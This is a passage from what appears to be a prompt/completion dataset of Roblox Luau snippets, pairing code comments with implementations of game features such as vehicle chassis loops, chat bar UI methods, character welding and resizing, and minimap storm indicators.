function Update() --\"return false\" to destroy gear effect object\n\t\t\n\t\treturn true\n\tend\n\t\n\tlocal function Stop()\n\t\tEV = nil\n\tend\n\t\n\treturn {Start, Update, Stop}\nend\n\nreturn GEAR_EFFECT_SERVER\n"} +{"prompt": "--Also, we need a way to force a debounce on the destination teleporter", "completion": "\nscript.Parent.ForceSetBusy.Event:connect(function()\n\tif (isBusy) then return end\n\tglowPart.Transparency = 1\n\tindicator.BrickColor = BrickColor.new(\"Really red\")\n\tisBusy = true\n\twait(7.5)\n\tglowPart.Transparency = 0\n\tindicator.BrickColor = BrickColor.new(\"Lime green\")\n\tisBusy = false\nend)\n"} +{"prompt": "--[=[\n\tDestroys the ClientComm object.\n]=]", "completion": "\nfunction ClientComm:Destroy() end\n\nreturn ClientComm\n"} +{"prompt": "--[[Run]]", "completion": "\n\n\t--Print Version\n\tlocal ver=require(car[\"A-Chassis Tune\"].README)\n\tprint(\"//INSPARE: AC6 Loaded - Build \"..ver)\n\t\n\t--Runtime Loops\n\t\n\t-- ~60 c/s\n\tgame[\"Run Service\"].Stepped:connect(function()\n\t\t--Steering\n\t\tSteering()\n\t\t\n\t\t--RPM\n\t\tRPM()\n\t\t\n\t\t--Update External Values\n\t\t_IsOn = script.Parent.IsOn.Value\n\t\t_InControls = script.Parent.ControlsOpen.Value\n\t\tscript.Parent.Values.Gear.Value = _CGear\n\t\tscript.Parent.Values.RPM.Value = _RPM\n\t\tscript.Parent.Values.Horsepower.Value = _HP\n\t\tscript.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM\n\t\tscript.Parent.Values.TransmissionMode.Value = _TMode\n\t\tscript.Parent.Values.Throttle.Value = _GThrot\n\t\tscript.Parent.Values.Brake.Value = _GBrake\n\t\tscript.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))\n\t\tscript.Parent.Values.SteerT.Value = _GSteerT\n\t\tscript.Parent.Values.PBrake.Value = _PBrake\n\t\tscript.Parent.Values.TCS.Value = _TCS\n\t\tscript.Parent.Values.TCSActive.Value = _TCSActive\n\t\tscript.Parent.Values.ABS.Value = _ABS\n\t\tscript.Parent.Values.ABSActive.Value = _ABSActive\n\t\tscript.Parent.Values.MouseSteerOn.Value = _MSteer\n\t\tscript.Parent.Values.Velocity.Value = car.DriveSeat.Velocity\n\tend)\n\t\n\t-- ~15 c/s\n\twhile wait(.0667) do\n\t\t--Power\n\t\tEngine()\n\t\t\n\t\t--Flip\n\t\tif _Tune.AutoFlip then Flip() end\n\tend\n"} +{"prompt": "--[=[\n\tConstructs a new Signal that wraps around an RBXScriptSignal.\n\n\t@param rbxScriptSignal RBXScriptSignal -- Existing RBXScriptSignal to wrap\n\t@return Signal\n\n\tFor example:\n\t```lua\n\tlocal signal = Signal.Wrap(workspace.ChildAdded)\n\tsignal:Connect(function(part) print(part.Name .. \" added\") end)\n\tInstance.new(\"Part\").Parent = workspace\n\t```\n]=]", "completion": "\nfunction Signal.Wrap(rbxScriptSignal)\n\tassert(\n\t\ttypeof(rbxScriptSignal) == \"RBXScriptSignal\",\n\t\t\"Argument #1 to Signal.Wrap must be a RBXScriptSignal; got \" .. typeof(rbxScriptSignal)\n\t)\n\tlocal signal = Signal.new()\n\tsignal._proxyHandler = rbxScriptSignal:Connect(function(...)\n\t\tsignal:Fire(...)\n\tend)\n\treturn signal\nend\n"} +{"prompt": "-- Deprecated in favour of GetMessageModeTextButton\n-- Retained for compatibility reasons.", "completion": "\nfunction methods:GetMessageModeTextLabel()\n\treturn self:GetMessageModeTextButton()\nend\n\nfunction methods:IsFocused()\n\t-- Temporary hack while reparenting is necessary.\n\tif not self.GuiObject:IsDescendantOf(game) then\n\t\tif self.LastFocusedState then\n\t\t\treturn self.LastFocusedState.Focused\n\t\tend\n\tend\n\treturn self:GetTextBox():IsFocused()\nend\n\nfunction methods:GetVisible()\n\treturn self.GuiObject.Visible\nend\n\nfunction methods:CaptureFocus()\n\tself:GetTextBox():CaptureFocus()\nend\n\nfunction methods:ReleaseFocus(didRelease)\n\tself:GetTextBox():ReleaseFocus(didRelease)\nend\n\nfunction methods:ResetText()\n\tself:GetTextBox().Text = \"\"\nend\n\nfunction methods:SetText(text)\n\tself:GetTextBox().Text = text\nend\n\nfunction methods:GetEnabled()\n\treturn self.GuiObject.Visible\nend\n\nfunction methods:SetEnabled(enabled)\n\tself.GuiObject.Visible = enabled\nend\n\nfunction methods:SetTextLabelText(text)\n\tself.TextLabel.Text = text\nend\n\nfunction methods:SetTextBoxText(text)\n\tself.TextBox.Text = text\nend\n\nfunction methods:GetTextBoxText()\n\treturn self.TextBox.Text\nend\n\nfunction methods:ResetSize()\n\tself.TargetYSize = 0\n\tself:TweenToTargetYSize()\nend\n\nfunction methods:CalculateSize()\n\tlocal lastPos = self.GuiObject.Size\n\tself.GuiObject.Size = UDim2.new(1, 0, 0, 1000)\n\n\tlocal textSize = self.TextBox.TextSize\n\tlocal bounds = self.TextBox.TextBounds.Y\n\n\tself.GuiObject.Size = lastPos\n\n\tlocal newTargetYSize = bounds - textSize\n\tif (self.TargetYSize ~= newTargetYSize) then\n\t\tself.TargetYSize = newTargetYSize\n\t\tself:TweenToTargetYSize()\n\tend\n\nend\n\nfunction methods:TweenToTargetYSize()\n\tlocal endSize = UDim2.new(1, 0, 1, self.TargetYSize)\n\tlocal curSize = self.GuiObject.Size\n\n\tlocal curAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y\n\tself.GuiObject.Size = endSize\n\tlocal endAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y\n\tself.GuiObject.Size = curSize\n\n\tlocal pixelDistance = math.abs(endAbsoluteSizeY - curAbsoluteSizeY)\n\tlocal tweeningTime = math.min(1, (pixelDistance * (1 / self.TweenPixelsPerSecond))) -- pixelDistance * (seconds per pixels)\n\n\tlocal success = pcall(function() self.GuiObject:TweenSize(endSize, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweeningTime, true) end)\n\tif (not success) then\n\t\tself.GuiObject.Size = endSize\n\tend\nend\n\nfunction methods:SetTextSize(textSize)\n\tif not self:IsInCustomState() then\n\t\tif self.TextBox then\n\t\t\tself.TextBox.TextSize = textSize\n\t\tend\n\t\tif self.TextLabel then\n\t\t\tself.TextLabel.TextSize = textSize\n\t\tend\n\tend\nend\n\nfunction methods:GetDefaultChannelNameColor()\n\tif ChatSettings.DefaultChannelNameColor then\n\t\treturn ChatSettings.DefaultChannelNameColor\n\tend\n\treturn Color3.fromRGB(35, 76, 142)\nend\n\nfunction methods:SetChannelTarget(targetChannel)\n\tlocal messageModeTextButton = self.GuiObjects.MessageModeTextButton\n\tlocal textBox = self.TextBox\n\tlocal textLabel = self.TextLabel\n\n\tself.TargetChannel = targetChannel\n\n\tif not self:IsInCustomState() then\n\t\tif targetChannel ~= ChatSettings.GeneralChannelName then\n\t\t\tmessageModeTextButton.Size = UDim2.new(0, 1000, 1, 0)\n\t\t\tmessageModeTextButton.Text = string.format(\"[%s] \", targetChannel)\n\n\t\t\tlocal channelNameColor = self:GetChannelNameColor(targetChannel)\n\t\t\tif channelNameColor then\n\t\t\t\tmessageModeTextButton.TextColor3 = channelNameColor\n\t\t\telse\n\t\t\t\tmessageModeTextButton.TextColor3 = self:GetDefaultChannelNameColor()\n\t\t\tend\n\n\t\t\tlocal xSize = messageModeTextButton.TextBounds.X\n\t\t\tmessageModeTextButton.Size = UDim2.new(0, xSize, 1, 0)\n\t\t\ttextBox.Size = UDim2.new(1, -xSize, 1, 0)\n\t\t\ttextBox.Position = UDim2.new(0, xSize, 0, 0)\n\t\t\ttextLabel.Size = UDim2.new(1, -xSize, 1, 0)\n\t\t\ttextLabel.Position = UDim2.new(0, xSize, 0, 0)\n\t\telse\n\t\t\tmessageModeTextButton.Text = \"\"\n\t\t\tmessageModeTextButton.Size = UDim2.new(0, 0, 0, 0)\n\t\t\ttextBox.Size = UDim2.new(1, 0, 1, 0)\n\t\t\ttextBox.Position = UDim2.new(0, 0, 0, 0)\n\t\t\ttextLabel.Size = UDim2.new(1, 0, 1, 0)\n\t\t\ttextLabel.Position = UDim2.new(0, 0, 0, 0)\n\t\tend\n\tend\nend\n\nfunction methods:IsInCustomState()\n\treturn self.InCustomState\nend\n\nfunction methods:ResetCustomState()\n\tif self.InCustomState then\n\t\tself.CustomState:Destroy()\n\t\tself.CustomState = nil\n\t\tself.InCustomState = false\n\n\t\tself.ChatBarParentFrame:ClearAllChildren()\n\t\tself:CreateGuiObjects(self.ChatBarParentFrame)\n\t\tself:SetTextLabelText('To chat click here or press \"/\" key')\n\tend\nend\n\nfunction methods:GetCustomMessage()\n\tif self.InCustomState then\n\t\treturn self.CustomState:GetMessage()\n\tend\n\treturn nil\nend\n\nfunction methods:CustomStateProcessCompletedMessage(message)\n\tif self.InCustomState then\n\t\treturn self.CustomState:ProcessCompletedMessage()\n\tend\n\treturn false\nend\n"} +{"prompt": "-------------------------------", "completion": "\n\nlocal tool = script.Parent\nlocal player = game.Players.LocalPlayer\nwhile player.Character == nil do wait() end\nlocal char = player.Character\nwhile char:FindFirstChild(\"Humanoid\") == nil do wait() end\nlocal hum = char:FindFirstChild(\"Humanoid\")\nlocal rs = char:FindFirstChild(\"Torso\"):FindFirstChild(\"Right Shoulder\")\nlocal ls = char:FindFirstChild(\"Torso\"):FindFirstChild(\"Left Shoulder\")\n\nlocal enabled = true\nlocal equipped = false\nlocal ischarging = false\ntool.Equipped:connect(function(mouse)\n\tequipped = true\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function()\n\t\tif not enabled then return end\n\t\tif hum == nil then return end\n\t\tif hum.Health <= 0 then return end\n\t\tif mouse == nil then return end\n\t\tif not ischarging then\n\t\t\tif mouse.Hit ~= nil then\n\t\t\t\tischarging = true\n\t\t\t\tscript.Parent.ChargeProjectile:FireServer()\n\t\t\tend\n\t\telseif ischarging then\n\t\t\tischarging = false\n\t\t\tenabled = false\n\t\t\tscript.Parent.ReleaseProjectile:FireServer(mouse.Hit.p)\n\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\t\t\twait(RELOAD_TIME)\n\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\t\t\tenabled = true\n\t\tend\n\tend)\nend)\n\ntool.Unequipped:connect(function(mouse)\n\tequipped = false\n\tischarging = false\nend)\n\n\n"} +{"prompt": "--Sets the current frame.", "completion": "\nfunction ControllerGroups:SetSelectedFrame(NewFrame)\n\tif LastActiveGroup and ControllerConnected() and LastActiveGroup:FrameInGroup(NewFrame) then\n\t\tLastFrame = NewFrame\n\t\tGuiService.SelectedObject = NewFrame\n\t\tUpdateActiveButton()\n\tend\nend\n\n\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn {\n\tName = \"var\", \n\tAliases = {}, \n\tDescription = \"Gets a stored variable.\", \n\tGroup = \"DefaultUtil\", \n\tAutoExec = { \"alias \\\"init-edit|Edit your initialization script\\\" edit ${var init} \\\\\\\\\\n && var= init ||\", \"alias \\\"init-edit-global|Edit the initialization script for all users\\\" edit ${var $init} \\\\\\\\\\n && var= $init ||\", \"alias \\\"init-run|Re-runs the initialization script manually.\\\" run-lines ${var init} && run-lines ${var $init}\", \"init-run\" }, \n\tArgs = { {\n\t\t\tType = \"storedKey\", \n\t\t\tName = \"Key\", \n\t\t\tDescription = \"The key to get, retrieved from your user data store. Keys prefixed with . are not saved. Keys prefixed with $ are game-wide. Keys prefixed with $. are game-wide and non-saved.\"\n\t\t} }, \n\tClientRun = function(p1, p2)\n\t\tp1:GetStore(\"vars_used\")[p2] = true;\n\tend\n};\n"} +{"prompt": "-- Libraries", "completion": "\nlocal ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger'))\nlocal Roact = require(Vendor:WaitForChild('Roact'))\nlocal ColorPicker = require(UI:WaitForChild('ColorPicker'))\n"} +{"prompt": "--Sam", "completion": "\n\nlocal rap = script.Parent.RightArmParts:GetChildren()\nlocal lap = script.Parent.LeftArmParts:GetChildren()\nlocal rlp = script.Parent.RightLegParts:GetChildren()\nlocal llp = script.Parent.LeftLegParts:GetChildren()\nlocal hp = script.Parent.HeadParts:GetChildren()\nlocal tp = script.Parent.TorsoParts:GetChildren()\n\nfunction WELDY(table, weldTo)\n\tlocal w2 = Instance.new(\"Weld\")\n\tw2.Parent = script.Parent.Torso\n\tw2.Part0 = w2.Parent\n\tw2.C0 = CFrame.new()\n\tw2.Part1 = script.Parent.Head\n\tw2.C1 = CFrame.new(0, -1.5, 0)\n\tfor i = 1, #table do \n\t\tif table[i]:IsA(\"BasePart\") then\n\t\t\tlocal w = Instance.new(\"Weld\")\n\t\t\tw.Parent = weldTo\n\t\t\tw.Part0 = w.Parent\n\t\t\tw.C0 = weldTo.CFrame:inverse()\n\t\t\tw.Part1 = table[i]\n\t\t\tw.C1 = table[i].CFrame:inverse()\n\t\t\tw.Part1.Anchored = false\n\t\tend\t\n\tend\n\tweldTo.Anchored = false\n\tfor i = 1, #table do\n\t\tif table[i]:IsA(\"BasePart\") then\n\t\t\ttable[i].Anchored = false\n\t\tend\n\tend\n\tweldTo.Anchored = false\nend \n\nfunction CFRAMEIT(table, weldTo)\n\tfor i = 1, #table do\n\t\tif table[i]:IsA(\"BasePart\") then\n\t\t\tlocal cf = table[i].CFrame\n\t\t\tlocal v = Instance.new(\"CFrameValue\")\n\t\t\tv.Name = \"CF\"\n\t\t\tv.Value = cf\n\t\t\tv.Parent = table[i]\n\t\tend\n\tend\n\tlocal v = Instance.new(\"CFrameValue\")\n\tv.Name = \"CF\"\n\tv.Value = weldTo.CFrame\n\tv.Parent = weldTo\nend\n\nfunction WELDIT(table, weldTo)\n\tif not weldTo:findFirstChild(\"CF\") then\n\t\tWELDY(table, weldTo)\n\telseif weldTo:findFirstChild(\"CF\") then\n\t\tfor i = 1, #table do\n\t\t\tif table[i]:IsA(\"BasePart\") then\n\t\t\t\tlocal w = Instance.new(\"Weld\")\n\t\t\t\tw.Parent = weldTo\n\t\t\t\tw.Part0 = w.Parent\n\t\t\t\tw.C0 = weldTo.CF.Value:inverse()\n\t\t\t\tw.Part1 = table[i]\n\t\t\t\tw.C1 = table[i].CF.Value:inverse()\n\t\t\t\ttable[i].Anchored = false\n\t\t\tend\n\t\tend\n\t\tweldTo.Anchored = false\n\tend\nend\n\nfunction weld(t, weldTo)\nWELDIT(t, weldTo)\nend \n\nweld(rap, script.Parent[\"Right Arm\"])\nweld(lap, script.Parent[\"Left Arm\"])\nweld(rlp, script.Parent[\"Right Leg\"])\nweld(llp, script.Parent[\"Left Leg\"])\nweld(tp, script.Parent[\"Torso\"])\nweld(hp, script.Parent[\"Head\"])\n"} +{"prompt": "-- ROBLOX deviation: omitted external type NewPlugin", "completion": "\nlocal PrettyFormat = require(Packages.PrettyFormat)\ntype Config = PrettyFormat.Config\ntype Printer = PrettyFormat.Printer\ntype Refs = PrettyFormat.Refs\n\nlocal function serialize(\n\tval: any,\n\tconfig: Config,\n\tindentation: string,\n\tdepth: number,\n\trefs: Refs,\n\tprinter: Printer\n): string\n\t-- Serialize a non-default name, even if config.printFunctionName is false.\n\tlocal name = val.getMockName()\n\tlocal nameString = \"\"\n\tif name == \"jest.fn()\" then\n\t\tnameString = \"\"\n\telse\n\t\tnameString = \" \" .. name\n\tend\n\n\tlocal callsString = \"\"\n\tif #val.mock.calls ~= 0 then\n\t\tlocal indentationNext = indentation .. config.indent\n\t\tcallsString = \" {\"\n\t\t\t.. config.spacingOuter\n\t\t\t.. indentationNext\n\t\t\t.. '\"calls\": '\n\t\t\t.. printer(val.mock.calls, config, indentationNext, depth, refs)\n\n\t\tif config.min then\n\t\t\tcallsString = callsString .. \", \"\n\t\telse\n\t\t\tcallsString = callsString .. \",\"\n\t\tend\n\n\t\tcallsString = callsString\n\t\t\t.. config.spacingOuter\n\t\t\t.. indentationNext\n\t\t\t.. '\"results\": '\n\t\t\t.. printer(val.mock.results, config, indentationNext, depth, refs)\n\n\t\tif not config.min then\n\t\t\tcallsString = callsString .. \",\"\n\t\tend\n\n\t\tcallsString = callsString .. config.spacingOuter .. indentation .. \"}\"\n\tend\n\n\treturn \"[MockFunction\" .. nameString .. \"]\" .. callsString\nend\n\nlocal function test(val: any): boolean\n\t-- ROBLOX deviation: add a table check to prevent access errors on non-tables\n\treturn val and typeof(val) == \"table\" and val._isMockFunction\nend\n\nreturn {\n\tserialize = serialize,\n\ttest = test,\n}\n"} +{"prompt": "-- Smooth Interpolation Curve Generator\n-- @author Validark\n-- @original https://github.com/gre/bezier-easing\n-- \t\tCopyright (c) 2014 Ga\u00ebtan Renaudeau, MIT License (see bottom for full license)\n-- @testsite http://cubic-bezier.com/\n-- @testsite http://greweb.me/bezier-easing-editor/example/", "completion": "\n"} +{"prompt": "--- Returns a new CommandContext, an object which is created for every command validation.\n-- This is also what's passed as the context to the \"Run\" functions in commands", "completion": "\nfunction Command.new (options)\n\tlocal self = {\n\t\tDispatcher = options.Dispatcher; -- The dispatcher that created this command context\n\t\tCmdr = options.Dispatcher.Cmdr; -- A quick reference to Cmdr for command context\n\t\tName = options.CommandObject.Name; -- The command name (not alias)\n\t\tRawText = options.Text; -- The raw text used to trigger this command\n\t\tObject = options.CommandObject; -- The command object (definition)\n\t\tGroup = options.CommandObject.Group; -- The group this command is in\n\t\tState = {}; -- A table which will hold any custom command state information\n\t\tAliases = options.CommandObject.Aliases;\n\t\tAlias = options.Alias; -- The command name that was used\n\t\tDescription = options.CommandObject.Description;\n\t\tExecutor = options.Executor; -- The player who ran the command\n\t\tArgumentDefinitions = options.CommandObject.Args; -- The argument definitions from the command definition\n\t\tRawArguments = options.Arguments; -- Array of strings which are the unparsed values for the arguments\n\t\tArguments = {}; -- A table which will hold ArgumentContexts for each argument\n\t\tData = options.Data; -- A special container for any additional data the command needs to collect from the client\n\t\tResponse = nil; -- Will be set at the very end when the command is run and a string is returned from the Run function.\n\t}\n\n\tsetmetatable(self, Command)\n\n\treturn self\nend\n"} +{"prompt": "--Casts the mouse's position to 3D space.", "completion": "\nlocal function Get3DPosition(X,Y)\n\tlocal MouseRay = Camera:ScreenPointToRay(X,Y,1000)\n\tlocal EndPos = MouseRay.Origin + MouseRay.Direction\n\treturn CastRay(Camera.CFrame.p,(EndPos - Camera.CFrame.p).unit,1000)\nend\n"} +{"prompt": "-------------------------", "completion": "\nwhile true do\nPuerta1.BodyVelocity.velocity = Vector3.new(0, 0, -0.5)\nPuerta2.BodyVelocity.velocity = Vector3.new(0, 0, 0.5)\nwait(8)\nPuerta1.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nPuerta2.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nbreak\nend\n"} +{"prompt": "--[[\nCreats a beam between two parts.\t\n--]]", "completion": "\nlocal function JoinPartsAtOffset(Part1,Part2,Offset1,Offset2,Rotation,Width1,Width2)\n\t--Create the attachments.\n\tlocal Attachment1 = Instance.new(\"Attachment\")\n\tAttachment1.Position = Offset1\n\tAttachment1.Orientation = Rotation\n\tAttachment1.Parent = Part1\n\t\n\tlocal Attachment2 = Instance.new(\"Attachment\")\n\tAttachment2.Position = Offset2\n\tAttachment2.Orientation = Rotation\n\tAttachment2.Parent = Part2\n\t\n\t--Create the beam.\n\tlocal Beam = Instance.new(\"Beam\")\n\tBeam.Color = ColorSequence.new(Part1.Color,Part2.Color)\n\tBeam.Transparency = NumberSequence.new(Part1.Transparency,Part2.Transparency)\n\tBeam.LightInfluence = 1\n\tBeam.Attachment0 = Attachment1\n\tBeam.Attachment1 = Attachment2\n\tBeam.Width0 = Width1\n\tBeam.Width1 = Width2\n\tBeam.Parent = Part1\nend\n"} +{"prompt": "--functions", "completion": "\nfunction coverdown()\n\tshutter.TextLabel.Visible = false\n\tshutter:TweenPosition(UDim2.new(0, 0,0.525, 0), \"Out\", \"Sine\", 1, true)\nend\n\nfunction coverup()\n\tshutter:TweenPosition(UDim2.new(0, 0,0.145, 0), \"Out\", \"Sine\", 1, true)\t\n\tshutter.TextLabel.Visible = true\nend\n\nfunction menuoneappear()\n\tfor _,v in pairs(machine.ToppingsOne:GetChildren()) do\n\t\tif v:IsA(\"TextButton\") then\n\t\t\tv.Visible = true\n\t\tend\n\tend\n\tmachine.ToppingsOne.Header.Visible = true\nend\n\nfunction menutwoappear()\n\tfor _,v in pairs(machine.ToppingsTwo:GetChildren()) do\n\t\tif v:IsA(\"TextButton\") then\n\t\t\tv.Visible = true\n\t\tend\n\tend\n\tmachine.ToppingsTwo.Header.Visible = true\nend\n\nfunction menuonedisappear()\n\tfor _,v in pairs(machine.ToppingsOne:GetChildren()) do\n\t\tif v:IsA(\"TextButton\") then\n\t\t\tv.Visible = false\n\t\tend\n\tend\n\tmachine.ToppingsOne.Header.Visible = false\nend\n\nfunction menutwodisappear()\n\tfor _,v in pairs(machine.ToppingsTwo:GetChildren()) do\n\t\tif v:IsA(\"TextButton\") then\n\t\t\tv.Visible = false\n\t\tend\n\tend\n\tmachine.ToppingsTwo.Header.Visible = false\nend"} +{"prompt": "--[===[ DO NOT edit ANYTHING below! ]===]", "completion": "\n\nlocal isOn = false\n\nscript.Parent.ClickDetector.MouseClick:connect(function(Player)\n\tlocal Character = Player.Character\n\t\n\tCharacter.Animate.Disabled = true\n\t\n\twait()\n\t\n\tlocal root = Character.HumanoidRootPart:findFirstChild(\"RootJoint\") and Character.HumanoidRootPart.RootJoint:Clone()\n\tlocal neck = Character.Torso:findFirstChild(\"Neck\") and Character.Torso.Neck:Clone()\n\tlocal lshoulder = Character.Torso:findFirstChild(\"Left Shoulder\") and Character.Torso[\"Left Shoulder\"]:Clone()\n\tlocal rshoulder = Character.Torso:findFirstChild(\"Right Shoulder\") and Character.Torso[\"Right Shoulder\"]:Clone()\n\tlocal lhip = Character.Torso:findFirstChild(\"Left Hip\") and Character.Torso[\"Left Hip\"]:Clone()\n\tlocal rhip = Character.Torso:findFirstChild(\"Right Hip\") and Character.Torso[\"Right Hip\"]:Clone()\n\t\n\tCharacter.Torso.Size = Character.Torso.Size * size\n\tCharacter.HumanoidRootPart.Size = Character.HumanoidRootPart.Size * size\n\tCharacter.Head.Size = Character.Head.Size * size\n\t\n\troot.Parent = Character.HumanoidRootPart\n\troot.Part0 = Character.HumanoidRootPart\n\troot.Part1 = Character.Torso\n\troot:SetDesiredAngle(0)\n\t\n\tneck.Parent = Character.Torso\n\tneck.Part0 = Character.Torso\n\tneck.Part1 = Character.Head\n\tneck.C0 = CFrame.new(0, 1 * size, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\tneck.C1 = CFrame.new(0, -0.5 * size, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\tneck:SetDesiredAngle(0)\n\t\n\t--Go through each child of the player character\n\tfor _,child in pairs(Character:GetChildren()) do\n\t\t--If it's a hat or accessory, delete it\n\t\tif child:IsA(\"Accessory\") or child:IsA(\"Hat\") then\n\t\t\tchild:Destroy()\n\t\t--If it's a basepart\n\t\telseif child:IsA(\"BasePart\") then\n\t\t\t--Left shoulder\n\t\t\tif child.Name == \"Left Arm\" then\n\t\t\t\tchild.Size = child.Size * size\n\t\t\t\tlshoulder.Parent = Character.Torso\n\t\t\t\tlshoulder.Part0 = Character.Torso\n\t\t\t\tlshoulder.Part1 = child\n\t\t\t\tlshoulder.C0 = CFrame.new(-1 * size, 0.5 * size, 0, -0, 0, -1, 0, 1, 0, 1, 0, -0)\n\t\t\t\tlshoulder.C1 = CFrame.new(0.5 * size, 0.5 * size, 0, -0, 0, -1, 0, 1, 0, 1, 0, -0)\n\t\t\t\tlshoulder:SetDesiredAngle(0)\n\t\t\t--Right shoulder\n\t\t\telseif child.Name == \"Right Arm\" then\n\t\t\t\tchild.Size = child.Size * size\n\t\t\t\trshoulder.Parent = Character.Torso\n\t\t\t\trshoulder.Part0 = Character.Torso\n\t\t\t\trshoulder.Part1 = child\n\t\t\t\trshoulder.C0 = CFrame.new(1 * size, 0.5 * size, 0, -0, 0, 1, -0, 1, 0, -1, 0, -0)\n\t\t\t\trshoulder.C1 = CFrame.new(-0.5 * size, 0.5 * size, 0, -0, 0, 1, 0, 1, 0, -1, 0, -0)\n\t\t\t\trshoulder:SetDesiredAngle(0)\n\t\t\t--Left hip\n\t\t\telseif child.Name == \"Left Leg\" then\n\t\t\t\tchild.Size = child.Size * size\n\t\t\t\tlhip.Parent = Character.Torso\n\t\t\t\tlhip.Part0 = Character.Torso\n\t\t\t\tlhip.Part1 = child\n\t\t\t\tlhip.C0 = CFrame.new(-1 * size, -1 * size, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\t\t\t\tlhip.C1 = CFrame.new(-0.5 * size, 1 * size, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\t\t\t\tlhip:SetDesiredAngle(0)\n\t\t\t--Right shoulder\n\t\t\telseif child.Name == \"Right Leg\" then\n\t\t\t\tchild.Size = child.Size * size\n\t\t\t\trhip.Parent = Character.Torso\n\t\t\t\trhip.Part0 = Character.Torso\n\t\t\t\trhip.Part1 = child\n\t\t\t\trhip.C0 = CFrame.new(1 * size, -1 * size, 0, 0, 0, 1, -0, 1, 0, -1, 0, 0)\n\t\t\t\trhip.C1 = CFrame.new(0.5 * size, 1 * size, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)\n\t\t\t\trhip:SetDesiredAngle(0)\n\t\t\tend\n\t\tend\n\tend\n\t\n\tCharacter.Animate.Disabled = false\nend)\n"} +{"prompt": "--[[Running Logic]]", "completion": "--\nlocal equipped = false\nlocal rayparts = {}\nlocal ColorChoices = {BrickColor.new('Really red'),BrickColor.new('Lime green'),BrickColor.new('Toothpaste')}\nlocal StartOffset = {Vector3.new(-.45,0,0),Vector3.new(0,0,0),Vector3.new(.45,0,0)}\nlocal oldC0 =nil\nlocal nweld"} +{"prompt": "-- 2450^2 voxels @ 4 studs/voxel is the default size", "completion": "\nlocal _mapSize = Conf.map_size or (2450 * 4)\nlocal _minimapWidth = Conf.minimap_width or 0.3\nlocal _minimapHeight = Conf.minimap_height or 0.3\nlocal _worldmapWidth = Conf.worldmap_width or 0.9\nlocal _worldmapHeight = Conf.worldmap_height or 0.9\nlocal _isCurrentlyMinimap = true\n\nfunction MinimapGui.updateStormIndicator(pos, radius, targetPos, targetRadius)\n\t_stormData = {\n\t\tpos = pos,\n\t\tradius = radius,\n\t\ttargetPos = targetPos,\n\t\ttargetRadius = targetRadius,\n\t}\nend\n\nlocal function _UpdateStormIndicators(pos, radius, targetPos, targetRadius)\n\tif not _stormIndicator then\n\t\treturn\n\tend\n\n\t-- Current storm\n\tlocal mapSize = _map.Size\n\tlocal mapPos = _map.Position\n\t_stormIndicator.Position = UDim2.new(0, pos.X / _mapSize * mapSize.X.Offset + mapPos.X.Offset,\n\t\t\t\t\t\t\t\t\t\t 0, pos.Z / _mapSize * mapSize.Y.Offset + mapPos.Y.Offset)\n\n\tlocal uiScale = radius * 2 / _mapSize\n\t_stormIndicator.Size = UDim2.new(0, uiScale * mapSize.X.Offset,\n\t\t\t\t\t\t\t\t\t 0, uiScale * mapSize.Y.Offset)\n\n\t-- Storm fillers (outside current storm)\n\tif _stormIndicator.Size.X.Offset <= 0 then\n\t\t_stormFiller.Size = UDim2.new(0, 1, 0, 1)\n\tend\n\t-- Add new outerStormFillers if current largest one doesn't cover the map\n\tlocal largestOuterStormFiller = _outerStormFillers[#_outerStormFillers]\n\twhile largestOuterStormFiller.AbsoluteSize.X < _mapFrame.AbsoluteSize.X * 3 or largestOuterStormFiller.AbsoluteSize.Y < _mapFrame.AbsoluteSize.Y * 3 do\n\t\tlocal newOuterStormFiller = largestOuterStormFiller:Clone()\n\t\tnewOuterStormFiller.Parent = largestOuterStormFiller\n\t\ttable.insert(_outerStormFillers, newOuterStormFiller)\n\t\tlargestOuterStormFiller = newOuterStormFiller\n\tend\n\n\t-- Storm destination\n\t_stormTargetIndicator.Position = UDim2.new(0, targetPos.X / _mapSize * mapSize.X.Offset + mapPos.X.Offset,\n\t\t\t\t\t\t\t\t\t\t\t 0, targetPos.Z / _mapSize * mapSize.Y.Offset + mapPos.Y.Offset)\n\tuiScale = targetRadius * 2 / _mapSize\n\t_stormTargetIndicator.Size = UDim2.new(0, -uiScale * mapSize.X.Offset,\n\t\t\t\t\t\t\t\t\t\t 0, -uiScale * mapSize.Y.Offset)\n\n\t_stormIndicator.Visible = true\n\t_stormTargetIndicator.Visible = true\n\t_stormFiller.Visible = true\n\tfor _, outerStormFiller in ipairs(_outerStormFillers) do\n\t\touterStormFiller.Visible = true\n\tend\nend\n\nlocal function _updateMapFocus()\n\tif _isCurrentlyMinimap then\n\t\tlocal character = Util.getClientFocus()\n\n\t\tif not character or not character.PrimaryPart then\n\t\t\treturn\n\t\tend\n\n\t\tlocal root = character.PrimaryPart\n\t\tlocal pos = root.Position\n\n\t\t-- Update focus point\n\t\t_mapView.focus_x = pos.X\n\t\t_mapView.focus_y = pos.Z\n\telse\n\t\t-- Set focus point to middle of map for worldmap view\n\t\t_mapView.focus_x = _mapSize / 2\n\t\t_mapView.focus_y = _mapSize / 2\n\tend\n\n\t-- Panning/scaling of viewport/map\n\t-- Note: We use Offsets here to maintain the correct aspect ratio for the map inside the map frame (which may be arbitrarily sized)\n\t-- TODO: Currently this assumes a square map\n\t_map.Size = UDim2.new(0, _mapFrame.AbsoluteSize.X * _mapView.scale,\n\t\t\t\t\t\t 0, _mapFrame.AbsoluteSize.X * _mapView.scale)\n\n\t-- Get the viewport position of the map focus point and adjust the map position 